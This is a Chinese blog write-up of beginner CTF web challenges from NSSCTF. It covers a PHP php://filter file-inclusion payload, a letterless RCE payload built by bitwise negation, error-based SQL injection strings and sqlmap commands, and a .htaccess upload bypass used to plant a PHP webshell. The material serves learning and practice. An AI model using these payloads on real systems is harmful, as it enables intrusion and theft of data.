web从零开始day2

[SWPUCTF 2022 新生赛]ez_ez_php
1 |
|
get传递参数file,如果前三个字符是php进行文件包含
利用php为协议读取flag.php
1 | /?file=php://filter/read=convert.base64-encode/resource=flag.php |
得到
1 | PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmhlYWRlcigiQ29udGVudC1UeXBlOnRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Iik7DQoNCg0KZWNobyAgICJOU1NDVEZ7ZmxhZ19pc19ub3RfaGVyZX0iIC4iPGJyLz4iOw0KZWNobyAicmVhbF9mbGFnX2lzX2luXydmbGFnJyIuIjxici8+IjsNCmVjaG8gIuaNouS4quaAnei3r++8jOivleivlVBIUOS8quWNj+iuruWRoiI7DQo= |
解码
1 | <?php |
直接php伪协议访问flag
1 | /?file=php://filter/read=convert.base64-encode/resource=flag |
得到
解码flag
[SWPUCTF 2021 新生赛]hardrce
源码
1 | <?php |
get传参接收wllm
黑名单禁用了[‘ ‘,’\t’,’\r’,’\n’,’+‘,’[‘,’^‘,’]‘,’"‘,’-‘,’$‘,’*‘,’?‘,’<‘,’>‘,’=‘,’`‘,]
还正则禁用了所有字母,无字符rce
eval可以直接执行php代码
禁用了^不可以进行异或
利用php的取反(~)特性
生成无字符取反payload
1 |
|
最终执行命令测试flag再../../../
payload
1 | http://node5.anna.nssctf.cn:29128/?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D1%D1%D0%D1%D1%D0%D1%D1%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98); |
[SWPUCTF 2021 新生赛]error(报错注入)
报错注入
爆出数据库及相关信息
1 | 1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)# |
爆出当前数据表信息
1 | 1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) # |
爆user表字段信息
1 | 1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='users'),0x7e),1) # |
爆test_db表字段信息
1 | 1' union select 1,extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='test_tb'))),3# |
爆数据库内容
1 | 1' and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from users.password~)),1) # |
发现flag查看字段内容
1 | 1' and 1=extractvalue(1,concat('~',(select group_concat(id,'~',flag) from test_tb)))# |
内容不全,自己设定回显内容
1 | 1' and 1=extractvalue(1,concat('~',(select substring(group_concat(id,'~',flag),31,32) from test_tb)))# |
但是孩子,这样简直是太累了,有sqlmap为何不用
拼接NSSCTF{e2fb3e91-8520-48ef-bdbbf-d777358f7fbf}
sqlmap扫描一下
1 | python sqlmap.py -u "http://node7.anna.nssctf.cn:24195/index.php?id=1" --batch |
可以布尔盲注,报错注入,时间盲注
查看所有数据库
1 | python sqlmap.py -u "http://node7.anna.nssctf.cn:24195/index.php?id=1" --dbs --batch |
查看当前数据库:
1 | python sqlmap.py -u "http://node7.anna.nssctf.cn:24195/index.php?id=1" --current-db --batch |
查看当前数据库的数据表
1 | python sqlmap.py -u "http://node7.anna.nssctf.cn:24195/index.php?id=1" -D test_db --tables --batch |
查看指定数据库指定数据表的列名
1 | 1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='users'),0x7e),1) # |
[SWPUCTF 2021 新生赛]easyupload3.0
随便访问不存在的php文件发现
Apache服务
htaccess文件是Apache服务中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮助我们实现:网页301重定向、自定义404错误页面,改变文件扩展名、允许/阻止特定的用户或者目录的访问,禁止目录列表,配置默认文档等功能
.htaccess文件内容:SetHandler application/x-httpd-php
的意思是设置当前目录所有文件都使用php解析,那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。不符合规则则报错
这里随便访问一个不存在的页面造成Not Found
报错,就可以看到服务器信息:
传一个.htaccess文件
注:这里不能加任何前缀
.htaccess文件内容如下:
1 | <FilesMatch "jpg"> |
意思就是将jpg文件解析为php文件
上传成功之后再上传一个一句话木马的jpg就可以用蚂蚁剑连接成功
[LitCTF 2023]作业管理系统
进去之后
直接传🐎
蚂蚁剑连接,flag在根目录
注入点三:ftp 远程文件上传
这个注入点只是理论上,因为本人没有实践过。
首先需要一台能被公网访问的服务器,搭建好 ftp 服务,注意做好安全防护,比如禁止匿名登录啥的。
然后在 FTP 地址一栏填入自己服务器的 IP ,端口为 21 。用户名和密码填入自己设置的 ftp 用户名和密码。
点击远程上传,理论上可以得到这个上传的 zip 文件,估计是源码。
(理论,勿喷,不当请指出)
[SWPUCTF 2021 新生赛]pop
1 |
|
需要触发w44m类的getflag方法,需要满足$admin===’w44m’和$passwd===’08067’
w22m析构函数,在w22m实例销毁的时候会输出w00m的属性
w33m的string方法,如果w00m的属性是w33m实例,触发string方法,调用$this->w00m->{$this->w22m}();
设置$this->w22m为‘Getflag’,$this->w00m为w44m实例,从而调用w44m::Getflag
- Title: web从零开始day2
- Author: luyanpei
- Created at : 2025-04-24 17:07:05
- Updated at : 2025-04-29 19:34:53
- Link: https://redefine.ohevan.com/2025/04/24/nssctf-web从零开始day2/
- License: All Rights Reserved © luyanpei